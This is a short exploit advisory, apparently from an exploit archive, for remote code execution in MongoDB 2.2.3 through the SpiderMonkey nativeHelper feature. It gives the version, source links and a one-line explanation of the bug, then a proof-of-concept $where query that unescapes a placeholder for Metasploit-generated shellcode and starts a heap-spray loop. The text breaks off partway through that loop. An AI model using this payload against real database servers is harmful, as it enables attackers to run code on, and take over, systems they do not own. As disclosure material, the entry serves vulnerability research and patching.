#Title: MongoDB nativeHelper.apply Remote Code Execution #Author: agixid http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/ #Software Link: http://fastdl.mongodb.org/linux/mongodb-linux-i686-2.2.3.tgz #Version: 2.2.3 The following PoC exploits the "nativeHelper" feature in the spidermonkey mongodb implementation. the NativeFunction "func" come from "x" javascript object and then is called without any check: db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i